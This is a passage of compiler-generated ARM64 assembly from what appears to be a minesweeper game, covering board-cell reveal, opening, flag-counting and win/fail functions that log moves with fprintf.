ldr w8, [sp, #4] ; 4-byte Folded Reload
and w0, w8, #0x1
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _push ; -- Begin function push
.p2align 2
_push: ; @push
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _h@GOTPAGE
ldr x8, [x8, _h@GOTPAGEOFF]
stur x8, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
adrp x8, _no_board_events@PAGE
ldr w8, [x8, _no_board_events@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB22_2
b LBB22_1
LBB22_1:
b LBB22_8
LBB22_2:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB22_8
b LBB22_3
LBB22_3:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB22_8
b LBB22_4
LBB22_4:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #48]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB22_6
b LBB22_5
LBB22_5:
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _fprintf
b LBB22_7
LBB22_6:
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _fprintf
b LBB22_7
LBB22_7:
b LBB22_8
LBB22_8:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _push_around ; -- Begin function push_around
.p2align 2
_push_around: ; @push_around
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
stur w8, [x29, #-12]
b LBB23_1
LBB23_1: ; =>This Loop Header: Depth=1
; Child Loop BB23_3 Depth 2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB23_8
b LBB23_2
LBB23_2: ; in Loop: Header=BB23_1 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
str w8, [sp, #16]
b LBB23_3
LBB23_3: ; Parent Loop BB23_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB23_6
b LBB23_4
LBB23_4: ; in Loop: Header=BB23_3 Depth=2
ldr w0, [sp, #16]
ldur w1, [x29, #-12]
bl _push
b LBB23_5
LBB23_5: ; in Loop: Header=BB23_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB23_3
LBB23_6: ; in Loop: Header=BB23_1 Depth=1
b LBB23_7
LBB23_7: ; in Loop: Header=BB23_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB23_1
LBB23_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _pop ; -- Begin function pop
.p2align 2
_pop: ; @pop
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
stur x9, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB24_6
b LBB24_1
LBB24_1:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB24_6
b LBB24_2
LBB24_2:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #48]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB24_4
b LBB24_3
LBB24_3:
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fprintf
b LBB24_5
LBB24_4:
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _fprintf
b LBB24_5
LBB24_5:
b LBB24_6
LBB24_6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _pop_around ; -- Begin function pop_around
.p2align 2
_pop_around: ; @pop_around
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
stur w8, [x29, #-12]
b LBB25_1
LBB25_1: ; =>This Loop Header: Depth=1
; Child Loop BB25_3 Depth 2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB25_8
b LBB25_2
LBB25_2: ; in Loop: Header=BB25_1 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
str w8, [sp, #16]
b LBB25_3
LBB25_3: ; Parent Loop BB25_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr x11, [x9]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB25_6
b LBB25_4
LBB25_4: ; in Loop: Header=BB25_3 Depth=2
ldr w0, [sp, #16]
ldur w1, [x29, #-12]
bl _pop
b LBB25_5
LBB25_5: ; in Loop: Header=BB25_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB25_3
LBB25_6: ; in Loop: Header=BB25_1 Depth=1
b LBB25_7
LBB25_7: ; in Loop: Header=BB25_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB25_1
LBB25_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _win ; -- Begin function win
.p2align 2
_win: ; @win
.cfi_startproc
; %bb.0:
adrp x8, _cur_time@GOTPAGE
ldr x8, [x8, _cur_time@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _end_time@PAGE
str w8, [x9, _end_time@PAGEOFF]
adrp x9, _won@PAGE
mov w8, #1
str w8, [x9, _won@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _check_win ; -- Begin function check_win
.p2align 2
_check_win: ; @check_win
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _cur_time@GOTPAGE
ldr x8, [x8, _cur_time@GOTPAGEOFF]
ldr w8, [x8]
mov w9, #10
mul w8, w8, w9
stur w8, [x29, #-4]
ldur s0, [x29, #-4]
scvtf s0, s0
mov w8, #16384
movk w8, #17948, lsl #16
fmov s1, w8
fdiv s0, s0, s1
stur s0, [x29, #-8]
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
ldur s0, [x29, #-8]
fcvt d0, s0
adrp x8, _solved_bbbv@GOTPAGE
ldr x8, [x8, _solved_bbbv@GOTPAGEOFF]
stur x8, [x29, #-16] ; 8-byte Folded Spill
ldr w8, [x8]
; implicit-def: $x10
mov x10, x8
adrp x8, _bbbv@GOTPAGE
ldr x8, [x8, _bbbv@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str d0, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fprintf
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr w8, [x8]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB27_2
b LBB27_1
LBB27_1:
bl _win
b LBB27_2
LBB27_2:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _fail ; -- Begin function fail
.p2align 2
_fail: ; @fail
.cfi_startproc
; %bb.0:
adrp x8, _cur_time@GOTPAGE
ldr x8, [x8, _cur_time@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _end_time@PAGE
str w8, [x9, _end_time@PAGEOFF]
adrp x8, _won@PAGE
str wzr, [x8, _won@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _show ; -- Begin function show
.p2align 2
_show: ; @show
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
stur x8, [x29, #-32] ; 8-byte Folded Spill
adrp x9, _solved_ops@GOTPAGE
ldr x9, [x9, _solved_ops@GOTPAGEOFF]
str x9, [sp, #24] ; 8-byte Folded Spill
adrp x9, _solved_bbbv@GOTPAGE
ldr x9, [x9, _solved_bbbv@GOTPAGEOFF]
str x9, [sp, #32] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldur w9, [x29, #-4]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
stur w9, [x29, #-12]
adrp x9, _output@GOTPAGE
ldr x9, [x9, _output@GOTPAGEOFF]
ldr x0, [x9]
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
stur x10, [x29, #-24] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
ldr w9, [x8, #16]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-4]
mov w10, #1
stur w10, [x29, #-36] ; 4-byte Folded Spill
add w11, w9, #1
ldur w9, [x29, #-8]
add w10, w9, #1
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fprintf
ldur w9, [x29, #-36] ; 4-byte Folded Reload
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldur x10, [x29, #-24] ; 8-byte Folded Reload
ldr x11, [x8]
ldursw x12, [x29, #-12]
mul x12, x12, x10
add x11, x11, x12
str w9, [x11, #36]
ldr x8, [x8]
ldursw x9, [x29, #-12]
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB29_4
b LBB29_1
LBB29_1:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [x8, #4]
adrp x8, _size_ops@GOTPAGE
ldr x8, [x8, _size_ops@GOTPAGEOFF]
add x9, x8, x9, lsl #2
ldr w8, [x9]
subs w8, w8, #1
str w8, [x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB29_3
b LBB29_2
LBB29_2:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x10, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x10]
add w8, w8, #1
str w8, [x10]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB29_3
LBB29_3:
b LBB29_4
LBB29_4:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB29_8
b LBB29_5
LBB29_5:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [x8, #8]
adrp x8, _size_ops@GOTPAGE
ldr x8, [x8, _size_ops@GOTPAGEOFF]
add x9, x8, x9, lsl #2
ldr w8, [x9]
subs w8, w8, #1
str w8, [x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB29_7
b LBB29_6
LBB29_6:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x10, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x10]
add w8, w8, #1
str w8, [x10]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB29_7
LBB29_7:
b LBB29_8
LBB29_8:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _show_opening ; -- Begin function show_opening
.p2align 2
_show_opening: ; @show_opening
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
str wzr, [sp, #16]
stur wzr, [x29, #-8]
b LBB30_1
LBB30_1: ; =>This Loop Header: Depth=1
; Child Loop BB30_3 Depth 2
ldur w8, [x29, #-8]
adrp x9, _w@GOTPAGE
ldr x9, [x9, _w@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB30_14
b LBB30_2
LBB30_2: ; in Loop: Header=BB30_1 Depth=1
stur wzr, [x29, #-12]
b LBB30_3
LBB30_3: ; Parent Loop BB30_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB30_12
b LBB30_4
LBB30_4: ; in Loop: Header=BB30_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #16]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB30_6
b LBB30_5
LBB30_5: ; in Loop: Header=BB30_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #16]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB30_10
b LBB30_6
LBB30_6: ; in Loop: Header=BB30_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #16]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB30_9
b LBB30_7
LBB30_7: ; in Loop: Header=BB30_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #16]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB30_9
b LBB30_8
LBB30_8: ; in Loop: Header=BB30_3 Depth=2
ldur w0, [x29, #-8]
ldur w1, [x29, #-12]
bl _show
b LBB30_9
LBB30_9: ; in Loop: Header=BB30_3 Depth=2
b LBB30_10
LBB30_10: ; in Loop: Header=BB30_3 Depth=2
b LBB30_11
LBB30_11: ; in Loop: Header=BB30_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB30_3
LBB30_12: ; in Loop: Header=BB30_1 Depth=1
b LBB30_13
LBB30_13: ; in Loop: Header=BB30_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB30_1
LBB30_14:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _do_open ; -- Begin function do_open
.p2align 2
_do_open: ; @do_open
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
stur x10, [x29, #-16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldr x8, [x8]
ldur w9, [x29, #-4]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
mov w10, #56
smull x9, w9, w10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB31_2
b LBB31_1
LBB31_1:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x9, w8, w9, x10
mov w8, #1
str w8, [x9, #36]
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
bl _fail
b LBB31_10
LBB31_2:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB31_4
b LBB31_3
LBB31_3:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w0, [x8, #4]
bl _show_opening
bl _check_win
b LBB31_9
LBB31_4:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _show
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB31_8
b LBB31_5
LBB31_5:
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
adrp x11, _solved_bbbv@GOTPAGE
ldr x11, [x11, _solved_bbbv@GOTPAGEOFF]
ldr w10, [x11]
add w10, w10, #1
str w10, [x11]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldrsw x9, [x8, #12]
adrp x8, _size_isls@GOTPAGE
ldr x8, [x8, _size_isls@GOTPAGEOFF]
add x9, x8, x9, lsl #2
ldr w8, [x9]
subs w8, w8, #1
str w8, [x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB31_7
b LBB31_6
LBB31_6:
adrp x9, _solved_isls@GOTPAGE
ldr x9, [x9, _solved_isls@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB31_7
LBB31_7:
bl _check_win
b LBB31_8
LBB31_8:
b LBB31_9
LBB31_9:
b LBB31_10
LBB31_10:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _flags_around ; -- Begin function flags_around
.p2align 2
_flags_around: ; @flags_around
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #16] ; 8-byte Folded Spill
str w0, [sp, #44]
str w1, [sp, #40]
str wzr, [sp, #28]
ldr x10, [x8]
ldr w8, [sp, #44]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #40]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #20]
str w8, [sp, #36]
b LBB32_1
LBB32_1: ; =>This Loop Header: Depth=1
; Child Loop BB32_3 Depth 2
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #36]
ldr x11, [x9]
ldr w9, [sp, #44]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #40]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB32_10
b LBB32_2
LBB32_2: ; in Loop: Header=BB32_1 Depth=1
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #44]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #40]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #28]
str w8, [sp, #32]
b LBB32_3
LBB32_3: ; Parent Loop BB32_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #32]
ldr x11, [x9]
ldr w9, [sp, #44]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #40]
add w9, w9, w10
mov w10, #56
smaddl x9, w9, w10, x11
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB32_8
b LBB32_4
LBB32_4: ; in Loop: Header=BB32_3 Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #32]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #36]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
